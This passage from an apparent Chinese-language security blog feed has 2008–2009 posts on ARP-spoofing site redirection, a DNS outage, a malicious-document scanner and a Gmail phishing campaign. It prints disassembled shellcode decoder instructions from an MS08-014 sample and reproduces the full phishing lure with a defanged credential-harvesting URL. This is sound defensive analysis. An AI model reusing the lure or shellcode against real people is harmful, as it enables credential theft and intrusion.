href=&quot;http://news.sina.com.cn/o/2009-06-03/125415728216s.shtml&quot;&gt;“5·19网络大瘫痪案”告破&lt;/a&gt;&lt;br /&gt;7.&lt;a href=&quot;http://it.people.com.cn/GB/42891/42894/9391068.html&quot;&gt;暴风召回1.2亿播放软件 称损失应由黑客赔偿&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;當中也可以發現由於黑客地下經濟的興盛，從木馬程式開發、販售、「肉雞」養成，到提供各項網路攻擊，只要有錢，就可以胡作非為。&lt;br /&gt;&lt;br /&gt;這些文章中也提到了 2006 年 12 月時，台灣發生地震，波及海底光纜，造成台灣對外如大陸地區、東南亞和澳洲等無法正常連線。事實上，當時台灣網路對外連線困難的影響，還意外地讓大家注意到了中華電信(hinet)偉大的 DNS 伺服器: 168.95.1.1。&lt;br /&gt;&lt;br /&gt;我們可以在網路上找到許多網路教學或設定的文件，幾乎都是教人設定 DNS 伺服設定為: 168.95.1.1。還不止這樣，google://168.95.1.1 把範圍縮小到網路設備手冊，不論中文還是各國語言，也可以看到熟悉的 IP: 168.95.1.1！當然，台灣這幾年來在網通設備上的開發，出廠預設值的 DNS 伺服器，自然也是 168.95.1.1！&lt;br /&gt;&lt;br /&gt;這也就是台灣 2006 年 12 月的地震，衝擊了世界上其它地區數以萬計的網友無法正常上網。真好奇 168.95.1.1 這台的 DNS Query 流量如何，而有多少 DNS Query 來自非台灣地區? :-)&lt;br /&gt;&lt;br /&gt;DNS 的重要性看來很明顯，直到去年，都還有 DNS 伺服器的問題被爆出來 (&lt;a href=&quot;http://isc.sans.org/diary.html?storyid=4687&quot;&gt;Multiple Vendors DNS Spoofing Vulnerability&lt;/a&gt;) ，或許還有些我們不知道的問題在未來會發生，像這次「暴風門」事件，除了期望 ISP 固好 DNS 外，我們能試著改變一些習慣?&lt;br /&gt;例如，DNS 的設定上除了 168.95.1.1 我們還可以設定其它 ISP 提供的 DNS 作為 Secondary。&lt;br /&gt;&lt;br /&gt;不久前，有位友人和我打趣地說，若是 168.95.1.1 不回應 ICMP 的話會如何? 我說，大概很多人都以為網路對外不通吧！</content><link rel='replies' type='application/atom+xml' href='http://timhsu.chroot.org/feeds/3326476014873571596/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/9219253365790587780/3326476014873571596' title='1 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/3326476014873571596'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/3326476014873571596'/><link rel='alternate' type='text/html' href='http://timhsu.chroot.org/2009/06/dns.html' title='大陸 DNS 暴風門事件'/><author><name>timhsu</name><uri>http://www.blogger.com/profile/01485661055273606967</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9219253365790587780.post-1367648161325080925</id><published>2009-03-12T23:48:00.000+08:00</published><updated>2009-03-13T02:00:59.123+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="掛馬"/><title type='text'>網站轉址攻擊-ARP掛馬</title><content type='html'>從上一篇「&lt;a href=&quot;http://blog.net-hack.com/2009/03/www.html&quot;&gt;網站轉址攻擊事件&lt;/a&gt;」發文後，有朋友來信問我，為何能確信是「ARP掛馬」，而不是「IP-Spoofing」。&lt;br /&gt;&lt;br /&gt;事實上，此攻擊事件不論是「ARP掛馬」或是「Non-Blind Spoofing」，都能得到類似網站轉址的效果。&lt;br /&gt;&lt;br /&gt;看來這回的攻擊事件，爭議點只剩下究竟是「ARP掛馬」還是水落石出的「Non-Blind Spoofing」。&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;我曾看了 Fyodor Y. 的留言以及他的看法，也和他交換了意見，對於他的技術能力，我毫無懷疑，甚至我覺得他寫的「Non-Blind Spoofing」&lt;a href=&quot;http://o0o.nu/files/simulate.tgz&quot;&gt;模擬攻擊程式&lt;/a&gt;寫得很好，很值得研究參考。&lt;br /&gt;&lt;br /&gt;那為何我不選擇相信是「Non-Blind Spoofing」，難道我有作什麼實驗，或是整天在網路上抓封包測試嗎。我的依據是什麼呢？&lt;br /&gt;&lt;br /&gt;這篇，我就來說明一下這兩個攻擊的可能性，以及我的質疑和判斷。&lt;br /&gt;&lt;br /&gt;「Non-Blind Spoofing」這個攻擊，事實上是需要封包監聽以及插入封包，並且搶在真正的回應封包前，傳送惡意封包回 Client 端。&lt;br /&gt;&lt;br /&gt;那要在那個網路節點上封包監聽作這樣的攻擊呢？任何一點都有可能。&lt;br /&gt;但問題是，有可能監聽到嗎？二話不說，馬上實驗，各位就立刻執行 &lt;a href=&quot;http://www.wireshark.org/&quot;&gt;Wireshark&lt;/a&gt; 看看，來監聽看看你老闆的 MSN 吧！若是你聽到了你老闆的的談話，你就選擇相信「Non-Blind Spoofing」，一點問題都沒有。&lt;br /&gt;&lt;br /&gt;另外有一種可能。這也是水落石出的可能了:&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;font-size:130%;&quot; &gt;「某個網路節點的 Router 被入侵，並且改了設定」&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;這是要逼 ISP 啞巴吃黃蓮嗎？&lt;br /&gt;&lt;br /&gt;Router 被入侵的可能性當然是有，然而中華電信 ISP 天天在檢查，完全沒有發現異常的情況。&lt;br /&gt;&lt;br /&gt;再說，改了設定是要把封包 Mirror 到那裡？ 中華電信機房該 Router 旁的主機嗎？&lt;br /&gt;那來的這台「Router 旁的主機」？中華電信機房可以隨便放機器就是了？&lt;br /&gt;那設定封包 Mirror 到較遠的主機呢？那你怎麼搶送封包回 Client 端？&lt;br /&gt;而且能不能照原路由傳送回假封包都是問題！！&lt;br /&gt;以上問題若不能回答出來，就請別再誤導各位網友了好嗎？&lt;br /&gt;&lt;br /&gt;好，那另外一種「ARP掛馬」攻擊的可能性呢？&lt;br /&gt;&lt;br /&gt;我在上一篇文章有提到，國內之前早有人揭漏了「ARP掛馬」攻擊。而最近的國外安全研究機構 SANS 的討論，大家可以看一下 &lt;a href=&quot;http://isc.sans.org/diary.html?storyid=6001&quot;&gt;Massive ARP spoofing attacks on web sites&lt;/a&gt;&lt;br /&gt;這篇。&lt;br /&gt;&lt;br /&gt;另外，遠在 2007 年的一篇技術報告 &quot;&lt;a href=&quot;http://www.blogger.com/honeyblog.org/junkyard/reports/www-china-TR.pdf&quot;&gt;Studying Malicious Websites and the Underground Economy on the Chinese Web&lt;/a&gt;&quot; 中提到「ARP 掛馬」攻擊大陸的 &quot;Norton China&quot; 網站，我擷圖如下，覺得不清楚或想看整篇文章的朋友可以自行閱讀。&lt;br /&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2ni0toSrTZ8X7ujlS2El5j19dq7E3TkZVg1OCq-4CYgYBaoDmfqe6W2nnHUbdUEHS85lgDOHLsHFNCeM9hHU8TA1A3IEDvfHTDuYDLwDplky_0jy1IDhmpP2Kdnja3Xx5e44-B8KiT4w/s1600-h/ARP_Spoofing.jpg&quot;&gt;&lt;img style=&quot;margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 421px; height: 285px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2ni0toSrTZ8X7ujlS2El5j19dq7E3TkZVg1OCq-4CYgYBaoDmfqe6W2nnHUbdUEHS85lgDOHLsHFNCeM9hHU8TA1A3IEDvfHTDuYDLwDplky_0jy1IDhmpP2Kdnja3Xx5e44-B8KiT4w/s320/ARP_Spoofing.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5312332341865993394&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;此外，這一兩年大陸駭客在各駭客論壇或駭客雜誌裡，早已把「ARP 掛馬」講到爛了，有興趣的朋友，可 Google 「ARP 掛馬」或「ARP-Spoofing」，有一堆的事件資料可參考。&lt;br /&gt;這說明了什麼呢？這說明，利用「ARP-Spoofing」作攻擊是最可行的方式！&lt;br /&gt;&lt;br /&gt;也許有人質疑，這回攻擊所側錄的封包和使用「ARP掛馬」攻擊的封包有些差異。但是，就憑網路封包 ID/TTL 的不同，就說和「ARP掛馬」無關，這樣的否定會不會太粗糙了？&lt;br /&gt;&lt;br /&gt;要修改封包回應或插入不同的封包內容，這對程式能力高的駭客來說，這是幾分鐘就可以改的，要亂數處理也行，愛怎麼變就怎麼變，唯一不變的是，要達成這樣的攻擊，「ARP Spoofing」是最容易，也最現成，更是大陸駭客流行許多的手法，而且，重要的是&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;font-size:130%;&quot; &gt;「不會有駭客這麼閒，整天在看部落格後一直改攻擊程式的」&lt;/span&gt;。&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;所以，從以上我的觀點，所得到的結論如下:&lt;br /&gt;&lt;br /&gt;1. 會作 ARP-Spoofing 掛馬攻擊的原因，絕大部份是因為該網站的防護很強，無法攻破後直接掛馬，所以只好作 「ARP 掛馬」。&lt;br /&gt;2. Sniff 不同網站的封包流量當然有可能得到不同的攻擊方式，而且不用預測下一波，因為「ARP 掛馬」不斷發生，總是會有新聞可以炒作。這點資安專家們可以安心。&lt;br /&gt;3. 和基礎架構和設備無關，這類的攻擊在世界各地都可能常發生。&lt;br /&gt;&lt;br /&gt;最後我要說的是：&lt;br /&gt;指控中華電信 ISP 的路由器有異常，是非常嚴重的事，也關係著商譽問題。一般說來，資安專家或廠商發現了異常或漏洞，都會有道德的與出問題的一方作好溝通，釐清真正問題點，再選擇適當時機公佈詳細資訊(Full−disclosure)。&lt;br /&gt;&lt;br /&gt;但是，若證據都不足的情況下，貿然的指控，只是會令人懷疑背後的動機。&lt;br /&gt;&lt;br /&gt;身為資安廠商，除了技術能力和新聞議題外，更重要的是道德，不是嗎？</content><link rel='replies' type='application/atom+xml' href='http://timhsu.chroot.org/feeds/1367648161325080925/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/9219253365790587780/1367648161325080925' title='14 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/1367648161325080925'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/1367648161325080925'/><link rel='alternate' type='text/html' href='http://timhsu.chroot.org/2009/03/arp.html' title='網站轉址攻擊-ARP掛馬'/><author><name>timhsu</name><uri>http://www.blogger.com/profile/01485661055273606967</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2ni0toSrTZ8X7ujlS2El5j19dq7E3TkZVg1OCq-4CYgYBaoDmfqe6W2nnHUbdUEHS85lgDOHLsHFNCeM9hHU8TA1A3IEDvfHTDuYDLwDplky_0jy1IDhmpP2Kdnja3Xx5e44-B8KiT4w/s72-c/ARP_Spoofing.jpg" height="72" width="72"/><thr:total>14</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9219253365790587780.post-5973121327856594655</id><published>2009-03-10T11:31:00.000+08:00</published><updated>2009-03-10T16:19:30.936+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="掛馬"/><title type='text'>網站轉址攻擊事件</title><content type='html'>上週開始，陸續有人發現在連到 &lt;span class=&quot;hilite&quot;&gt;www&lt;/span&gt;.msn.&lt;span class=&quot;hilite&quot;&gt;com&lt;/span&gt;.tw、tw.msn.&lt;span class=&quot;hilite&quot;&gt;com、&lt;/span&gt;taiwan.cnet.&lt;span class=&quot;hilite&quot;&gt;com 等網站時，發生了一些異常行為，瀏覽器被硬生生的導到其它網站(&lt;/span&gt;&lt;span class=&quot;hilite&quot;&gt;www&lt;/span&gt;.dachengkeji.&lt;span class=&quot;hilite&quot;&gt;com) 等。&lt;br /&gt;&lt;br /&gt;詳細的討論可看&lt;/span&gt;&lt;span style=&quot;font-size:100%;&quot;&gt; Richliu 的&lt;a href=&quot;http://blog.richliu.com/2009/03/05/743/&quot;&gt;某些 ISP 疑似被 hijacking 攻擊&lt;/a&gt;&lt;/span&gt;&lt;span class=&quot;hilite&quot;&gt; 一文。&lt;br /&gt;&lt;br /&gt;事情看來很大條，各專家紛紛出來澄清或解釋這樣的攻擊。&lt;br /&gt;有專家說，這是&lt;/span&gt;「新型態的網路攻擊手法」！&lt;br /&gt;&lt;span class=&quot;hilite&quot;&gt;有專家說，這是&lt;/span&gt;「電信業者的DNS主機遭攻擊」！&lt;br /&gt;有專家說，這是「某 ISP 的路由器(Router)被攻破」，甚至還說 Router 被感染了。真不知道是被感染了什麼鬼玩意。&lt;br /&gt;當然也有專家真的分析了封包內容，提出了可能是「Non-Blind Spoofing」的結論。&lt;br /&gt;&lt;br /&gt;看到這些說法，我其實蠻訝異的。&lt;br /&gt;&lt;br /&gt;我上週知道這件事發生後，就和幾位 &lt;a href=&quot;http://www.chroot.org/&quot;&gt;CHROOT&lt;/a&gt; 的成員討論過，並在第一時間透過管道，得到了 ISP 的「三不一沒有」的資訊:&lt;br /&gt;「不是 DNS 問題、不是 Proxy 問題、不是 Router 問題，沒有被入侵」&lt;br /&gt;(昨日 3/9, 中華電信資安辦公室證實了這點 &lt;a href=&quot;http://www.itis.tw/node/2601&quot;&gt;http://www.itis.tw/node/2601&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;而我們的結論是「這是大陸駭客愛用的 ARP Spoofing 攻擊」，不過攻擊地點在 IDC 端。&lt;br /&gt;我們以為這並非什麼新的攻擊型態，不過專家就是專家，總要有自己的看法，不知道原因的，也要說成是新的攻擊型態，混合了幾種專業名詞大家就點頭稱是了。&lt;br /&gt;&lt;br /&gt;事實上，對岸駭客真的把「ARP Spoofing + 網頁掛馬」，簡稱「ARP 掛馬」技術發揮到了極點，從 &lt;span style=&quot;font-size:100%;&quot;&gt;&lt;a href=&quot;http://wiselysong.blogspot.com/2008/12/msn-shell-serverarp.html&quot;&gt;MSN SHELL 所在SERVER遭ARP掛馬&lt;/a&gt; 就提到了在 IDC 端的「ARP掛馬」案例。&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;我的看法如下:&lt;br /&gt;&lt;span class=&quot;hilite&quot;&gt;1. 被導向的網站 www&lt;/span&gt;.msn.&lt;span class=&quot;hilite&quot;&gt;com&lt;/span&gt;.tw、tw.msn.&lt;span class=&quot;hilite&quot;&gt;com、&lt;/span&gt;taiwan.cnet.&lt;span class=&quot;hilite&quot;&gt;com，「當時」都在位在新加坡電信Singtel。我想應該台灣的 ISP 應該和新加坡電信窗口聯絡，知會一下狀況。&lt;br /&gt;&lt;br /&gt;2. 並非每次或每個人瀏覽都會被導向，原因應該是流量過大，封包處理不及，或是該攻擊有時間間隔處理。&lt;br /&gt;&lt;br /&gt;3. 此事件中，看來只有從台灣連去的封包被影響，有針對性。&lt;br /&gt;&lt;br /&gt;4. 以現在的工具來看, 利用 「ARP 掛馬」發展得很成熟，大家可以 google 看看 zxarp，我甚至可以告訴你，這個工具參數怎麼下，&lt;/span&gt;&lt;span class=&quot;hilite&quot;&gt;放在「對」的地方，&lt;/span&gt;&lt;span class=&quot;hilite&quot;&gt;就可以造成這次的效果。呃，上述的第 2、3 點，該工具都有參數支援啦。&lt;br /&gt;&lt;br /&gt;當然啦，每個人的看法不同，堅持是什麼「新的攻擊型態」的專家，或許這回真的可以揚名國際！但若是真的「ARP 掛馬」，也請認真的研究一下這個攻擊，並提醒大家，這種攻擊的嚴重性。&lt;br /&gt;&lt;br /&gt;至於會不會有真的證明是「ARP 掛馬」呢？我不知道！(謎之聲: 誰會承認自己 IDC 被 ARP 掛馬)&lt;br /&gt;&lt;br /&gt;套句某駭客的名言「忍一下就過去了！」，有道理，不是嗎？ :-)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://timhsu.chroot.org/feeds/5973121327856594655/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/9219253365790587780/5973121327856594655' title='4 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/5973121327856594655'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/5973121327856594655'/><link rel='alternate' type='text/html' href='http://timhsu.chroot.org/2009/03/blog-post.html' title='網站轉址攻擊事件'/><author><name>timhsu</name><uri>http://www.blogger.com/profile/01485661055273606967</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9219253365790587780.post-144722992884140192</id><published>2009-02-03T17:08:00.000+08:00</published><updated>2009-02-03T17:34:42.891+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Security"/><title type='text'>x86 shellcode detection and emulation - libemu</title><content type='html'>去年我在研究開發&lt;a href=&quot;http://www.hitcon.org/hit2008/download/HIT2008-MDScan-TimHsu.pdf&quot;&gt;惡意文件偵測技術&lt;/a&gt; - &lt;a href=&quot;http://www.chroot.org/mdscan&quot;&gt;mdscan&lt;/a&gt; 時，就在試著找尋適合的 x86 emulator。可惜，找到的幾乎都是 Virtualizer 性質，非我所需要。&lt;br /&gt;一月時無意間發現了&lt;a href=&quot;http://libemu.carnivore.it/&quot;&gt; libemu&lt;/a&gt;，這兩天就著手將原來&lt;a href=&quot;http://www.chroot.org/mdscan&quot;&gt; mdscan&lt;/a&gt; 的動態追蹤核心，換成 &lt;a href=&quot;http://libemu.carnivore.it/&quot;&gt;libemu&lt;/a&gt; 來模擬執行。&lt;br /&gt;&lt;br /&gt;Malicious Document Scan Tool    Version 0.5&lt;br /&gt;---------------------------------------------------&lt;br /&gt;Copyright (c) 2009 Net-Hack Technology Co.,Ltd. All rights reserved.&lt;br /&gt;&lt;br /&gt;Scanning CVE/MS08-014/69a7b1dd0af391523ae55a846232c68f&lt;br /&gt;opcode: E8E4FFFFFF          call 0xffffffe9&lt;br /&gt;opcode: 5E                              pop esi&lt;br /&gt;opcode: 8BFE                         mov edi,esi&lt;br /&gt;opcode: 8BD6                         mov edx,esi&lt;br /&gt;opcode: 83C214                     add edx,0x14&lt;br /&gt;opcode: 52                              push edx&lt;br /&gt;opcode: B96A030000          mov ecx,0x36a&lt;br /&gt;opcode: AC                             lodsb&lt;br /&gt;opcode: C0C000                   rol al,0x0&lt;br /&gt;opcode: AA                             stosb&lt;br /&gt;opcode: 49                              dec ecx&lt;br /&gt;opcode: 75F8                          jnz 0xfffffffa&lt;br /&gt;opcode: AC                             lodsb&lt;br /&gt;opcode: C0C000                   rol al,0x0&lt;br /&gt;opcode: AA                             stosb&lt;br /&gt;opcode: 49                              dec ecx&lt;br /&gt;opcode: 75F8                          jnz 0xfffffffa&lt;br /&gt;opcode: AC                             lodsb&lt;br /&gt;opcode: C0C000                   rol al,0x0&lt;br /&gt;opcode: AA                             stosb&lt;br /&gt;opcode: 49                              dec ecx&lt;br /&gt;opcode: 75F8                          jnz 0xfffffffa&lt;br /&gt;opcode: AC                              lodsb&lt;br /&gt;opcode: C0C000                    rol al,0x0&lt;br /&gt;opcode: AA                             stosb&lt;br /&gt;opcode: 49                              dec ecx&lt;br /&gt;opcode: 75F8                          jnz 0xfffffffa&lt;br /&gt;opcode: AC                              lodsb&lt;br /&gt;&lt;br /&gt;不過，&lt;a href=&quot;http://libemu.carnivore.it/&quot;&gt;libemu&lt;/a&gt; 缺乏詳細的文件，而且有些 instructions 並沒有 mapping(例如 opcode: A8 and A9)，有些 API 也不甚明白是什麼作用，畢竟還在 version 0.2 開發中吧！&lt;br /&gt;&lt;br /&gt;想試著研究 shellcode 追蹤或是自動化解殼(unpack)的朋友，不妨試試。</content><link rel='replies' type='application/atom+xml' href='http://timhsu.chroot.org/feeds/144722992884140192/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/9219253365790587780/144722992884140192' title='4 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/144722992884140192'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/144722992884140192'/><link rel='alternate' type='text/html' href='http://timhsu.chroot.org/2009/02/x86-shellcode-detection-and-emulation.html' title='x86 shellcode detection and emulation - libemu'/><author><name>timhsu</name><uri>http://www.blogger.com/profile/01485661055273606967</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9219253365790587780.post-6317020201131714571</id><published>2009-02-03T16:15:00.000+08:00</published><updated>2009-02-03T16:23:32.051+08:00</updated><title type='text'>舊 blog 文章轉換到 blogger</title><content type='html'>感謝 &lt;a href=&quot;http://code.google.com/p/google-blog-converters-appengine/&quot;&gt;google-blog-converts-appengine&lt;/a&gt; 的 blog 轉換程式，已成功將&lt;a href=&quot;http://blog.linux.org.tw/%7Etimhsu&quot;&gt;我舊 blog&lt;/a&gt; 的內容，轉移至此啦！&lt;br /&gt;&lt;a href=&quot;http://code.google.com/p/google-blog-converters-appengine/&quot;&gt;google-blog-converts-appengine&lt;/a&gt; 是用 python 語言開發，要額外裝 &lt;a href=&quot;http://effbot.org/zone/element-index.htm&quot;&gt;ElementTree&lt;/a&gt; 即可正常執行。</content><link rel='replies' type='application/atom+xml' href='http://timhsu.chroot.org/feeds/6317020201131714571/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/9219253365790587780/6317020201131714571' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/6317020201131714571'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/6317020201131714571'/><link rel='alternate' type='text/html' href='http://timhsu.chroot.org/2009/02/blog-blogger.html' title='舊 blog 文章轉換到 blogger'/><author><name>timhsu</name><uri>http://www.blogger.com/profile/01485661055273606967</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9219253365790587780.post-7427786818096774750</id><published>2008-03-08T17:45:00.000+08:00</published><updated>2008-03-08T01:57:43.288+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Security"/><title type='text'>Gmail 釣魚網站</title><content type='html'>今日有研究員 D 先生回報，收到 Gmail 釣魚網站郵件，分析如下，僅供參考。&lt;br /&gt;&lt;br /&gt;------ 底下為釣魚郵件內容 -------&lt;br /&gt;From: Gmail 小組 &lt;&lt;a onclick=&quot;return top.js.OpenExtLink(window,event,this)&quot; href=&quot;mailto:mail-noreply@gmail.com&quot;&gt;mail-noreply@gmail.com&lt;/a&gt;&gt;&lt;br /&gt;Date: 2008/3/6 16:40&lt;br /&gt;Subject: 請及時更新您的Gmail服務，以免對您的使用造成不便&lt;br /&gt;To: &lt;a onclick=&quot;return top.js.OpenExtLink(window,event,this)&quot; href=&quot;mailto:timhsu.tw@gmail.com&quot;&gt;timhsu.tw@gmail.com&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Google近日開始對用戶的Gmail電子郵件服務進行升級&lt;div style=&quot;direction: ltr;&quot;&gt;&lt;wbr&gt;，新版Gmail服務不僅在界面上有所變化，在內部結構上也針對&lt;wbr&gt;Firefox2和IE 7進行了優化。&lt;br /&gt;&lt;br /&gt;由於對JavaScript後端系統進行了重新設計&lt;wbr&gt;，所以新版Gmail服務的訪問速度將更快，打開一封郵件的時間&lt;wbr&gt;將不到200毫秒。&lt;br /&gt;&lt;br /&gt;免費Gmail電子郵件的存儲空間將由原來的4G增至6G。&lt;br /&gt;&lt;br /&gt;請按下面的步驟及時提交您的申請，我們將在24小時之內為您提供&lt;wbr&gt;新版服務，舊版服務可能在一週之內過期，對您造成的不便請諒解。&lt;br /&gt;&lt;br /&gt;步驟一：進入服務申請頁面 &lt;a onclick=&quot;return top.js.OpenExtLink(window,event,this)&quot; href=&quot;https://mail.google.com/mail/updateservices&quot; target=&quot;_blank&quot;&gt;https://mail.google.com/mail&lt;wbr&gt;/updateservices&lt;/a&gt;&lt;br /&gt;步驟二：驗證客戶信息。&lt;br /&gt;步驟三：完成申請。&lt;br /&gt;&lt;br /&gt;感謝您使用 Gmail！&lt;br /&gt;衷心感謝！&lt;br /&gt;Gmail 小組敬上&lt;br /&gt;&lt;br /&gt;請勿回複本電子郵件。如果您希望與Gmail小組聯係&lt;wbr&gt;，請登錄您的帳戶並點擊任何網頁&lt;br /&gt;頂部的&quot;幫助&quot;。然後，點擊位於支持中心底部的&quot;與我們聯係&quot;。&lt;br /&gt;&lt;br /&gt;------   以上為釣魚郵件內容 -----------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;其中在釣魚郵件內容中的， 步驟一：進入服務申請頁面 &lt;a onclick=&quot;return top.js.OpenExtLink(window,event,this)&quot; href=&quot;https://mail.google.com/mail/updateservices&quot; target=&quot;_blank&quot;&gt;https://mail.google.com/mail&lt;wbr&gt;/updateservices&lt;/a&gt;，若點擊，則網址會連至(已把 link 改為無效)&lt;br /&gt;&lt;br /&gt;&lt;a onclick=&quot;return top.js.OpenExtLink(window,event,this)&quot; href=&quot;hxxp://googleaccounts-login.dynalias.com/google/ServiceLoginservicemail&amp;amp;passivetrue/Fmail.google.com3Dl&amp;amp;ltmpldefault&amp;amp;ltmplcache/google.asp?user=timhsu.tw@gmail.com&quot; target=&quot;_blank&quot;&gt;http://googleaccounts-login&lt;wbr&gt;.dynalias.com/google/ServiceLo&lt;wbr&gt;ginservicemail&amp;amp;passivetrue&lt;wbr&gt;/Fmail.google.com3Dl&amp;amp;ltmpldefa&lt;wbr&gt;ult&amp;amp;ltmplcache/google.asp?user&lt;wbr&gt;=timhsu.tw@gmail.com&lt;/a&gt;&lt;a href=&quot;hxxp://googleaccounts-login.dynalias.com/google/ServiceLoginservicemail&amp;amp;passivetrue/Fmail.google.com3Dl&amp;amp;ltmpldefault&amp;amp;ltmplcache/google.asp?user=timhsu.tw@gmail.com&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;同時，此頁面隱含(嵌入iframe)有 MS-06014 針對 IE 瀏覽器的攻擊.&lt;br /&gt;&lt;script&gt;&lt;!-- D([&quot;mb&quot;,&quot;\n\u003cbr /\u003e\n\u003cbr /\u003e\n\u003cbr /\u003e\n\u003ca onclick\u003d\&quot;return top.js.OpenExtLink(window,event,this)\&quot; href\u003d\&quot;http://googleaccounts-login.dynalias.com\&quot; target\u003d_blank\u003egoogleaccounts-login.dynalias\u003cwbr /\u003e.com\u003c/a\u003e 的 IP 為 \u003ca onclick\u003d\&quot;return top.js.OpenExtLink(window,event,this)\&quot; href\u003d\&quot;http://211.22.79.234\&quot; target\u003d_blank\u003e211.22.79.234\u003c/a\u003e 底下為 whois 資訊：\u003cbr /\u003e\n\u003cbr /\u003e\n\u003cbr /\u003e\nLi Wai Sh Co., Ltd.\u003cbr /\u003e\n\u003cbr /\u003e\n \u0026nbsp; Netname: LI-WAI-SH-CO-E4-NET\u003cbr /\u003e\n \u0026nbsp; Netblock: \u003ca onclick\u003d\&quot;return top.js.OpenExtLink(window,event,this)\&quot; href\u003d\&quot;http://211.22.79.232/29\&quot; target\u003d_blank\u003e211.22.79.232/29\u003c/a\u003e\u003cbr /\u003e\n\u003cbr /\u003e\n \u0026nbsp; Administrator contact:\u003cbr /\u003e\n \u0026nbsp; \u0026nbsp; \u0026nbsp;\u003ca onclick\u003d\&quot;return top.js.OpenExtLink(window,event,this)\&quot; href\u003d\&quot;mailto:hn84050286@hn.hinet.net\&quot;\u003ehn84050286@hn.hinet.net\u003c/a\u003e\u003cbr /\u003e\n\u003cbr /\u003e\n \u0026nbsp; Technical contact:\u003cbr /\u003e\n \u0026nbsp; \u0026nbsp; \u0026nbsp;\u003ca onclick\u003d\&quot;return top.js.OpenExtLink(window,event,this)\&quot; href\u003d\&quot;mailto:hn84050286@hn.hinet.net\&quot;\u003ehn84050286@hn.hinet.net\u003c/a\u003e\u003cbr /\u003e\n\u003cbr /\u003e\n\u003cbr /\u003e\n此應為 立瑋仕公司(\u003ca onclick\u003d\&quot;return top.js.OpenExtLink(window,event,this)\&quot; href\u003d\&quot;http://www.device-giant.com.tw/\&quot; target\u003d_blank\u003ehttp://www.device-giant.com.tw\u003cwbr /\u003e/\u003c/a\u003e) 所有之 IP 範圍，已被駭客利用來作釣魚網站及攻擊跳板。\u003cbr /\u003e\n\u003cbr /\u003e\n\u003ca onclick\u003d\&quot;return top.js.OpenExtLink(window,event,this)\&quot; href\u003d\&quot;http://www.device-giant.com.tw\&quot; target\u003d_blank\u003ewww.device-giant.com.tw\u003c/a\u003e 的 whois 資訊為：\u003cbr /\u003e\n\u003cbr /\u003e\n\u003cbr /\u003e\nDomain Name: \u003ca onclick\u003d\&quot;return 